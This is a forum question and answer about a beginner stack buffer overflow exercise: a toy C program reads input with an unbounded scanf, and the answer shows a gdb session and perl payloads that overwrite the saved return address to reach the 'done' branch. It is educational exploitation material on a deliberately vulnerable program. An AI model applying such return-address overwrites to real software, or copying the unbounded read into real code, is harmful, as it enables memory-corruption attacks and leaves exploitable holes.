Issue
I'm trying to cause a buffer overflow to overwrite a variable to execute the first part of the if statement. However, each time I try to do that a Segmentation fault error occurs with executing the second part of the if statement.
Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
char username[10];
volatile int password = 0;
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
I used gcc to compile it:
gcc pwn.c -o pwn
I've also tried:
gcc pwn.c -o pwn -fno-stack-protector
when I try to cause the memory to overflow I use:
kali@salluc:~/$ ./pwn
00000000000000000000000000000000000000000000000000
tryharder
Segmentation fault
I want to know what should I do to be able to overwrite the password variable and why the method I'm using is not working.
Solution
Try overwriting the stack to point the RIP (on x86_64, the most common arch in use today) back at the piece right after the if(password != 0)
conditional. Compiled and then debugged in gdb it looks like this:
[marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
[marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aba...
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
tryharder
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub $0x10,%rsp
0x0000555555555175 <+12>: movl $0x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov $0x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov $0x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 10
Breakpoint 1 at 0x555555555194: file aba.c, line 10.
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) stepi
10 if(password != 0){
(gdb) stepi
0x0000555555555199 10 if(password != 0){
(gdb) stepi
13 printf("tryharder\n");
(gdb) info reg
rax 0x0 0
rbx 0x5555555551c0 93824992235968
rcx 0x0 0
rdx 0x0 0
rsi 0xa 10
rdi 0x7fffffffdb30 140737488345904
rbp 0x7fffffffe080 0x7fffffffe080
rsp 0x7fffffffe070 0x7fffffffe070
r8 0xa 10
r9 0x7c 124
r10 0x7ffff7fa8be0 140737353780192
r11 0x246 582
r12 0x555555555080 93824992235648
r13 0x7fffffffe170 140737488347504
r14 0x0 0
r15 0x0 0
rip 0x5555555551a9 0x5555555551a9 <main+64>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) cont
Continuing.
tryharder
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb)
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) cont
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub $0x10,%rsp
0x0000555555555175 <+12>: movl $0x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov $0x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov $0x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 11
Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
(gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) next
13 printf("tryharder\n");
(gdb) next
tryharder
15 return 0;
(gdb) next
16 }
(gdb) next
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
15 return 0;
(gdb) next
16 }
(gdb) next
Program received signal SIGBUS, Bus error.
main () at aba.c:16
16 }
(gdb) q
A debugging session is active.
Inferior 1 [process 336779] will be killed.
Quit anyway? (y or n) y
[marshall@jerkon]{10:34 PM}: [~/Hack] $
You'll find that 24 characters allows you to overwrite the return pointer on the stack by trial and error. Then once you get it to crash and you see as many 41's (capital "A"s) as will fit in the buffer before going off into another part of memory (outside the 0x0000555555555555 zone). Now set a braekpoint right at the point where you want to jump to, you can do this with break <c_file_linenumber>, or also a memory address, or whatever you feel comfortable with. Then (now note ti is backwards), you can use A's to build up to the RIP overwrite in memory, and then write in 665544332211 as placeholders. You should then end up with a fault when it tries to jump to the next instruction at 0x0000112233445566. As you're playing with it, you can the number in the line that looks like 0x0000112233445566 in ?? ()
is what address you'll land at. Now just plug in whatever is closest to your:
printf("done\n");
Which on my system is:
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
Plug the new known values in, again, backwards. Then as you can see, the overwrite will be complete when you see (after where I put breakpoint #2):
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
This BoF is pretty trivial, but you should get the basic idea. In practice you'll have stack protection on, a kernel randomized stack, and generally it will be significatly more complex than just jumping to a different instruction, you'll likely need shellcode, etc.
Answered By - oxagast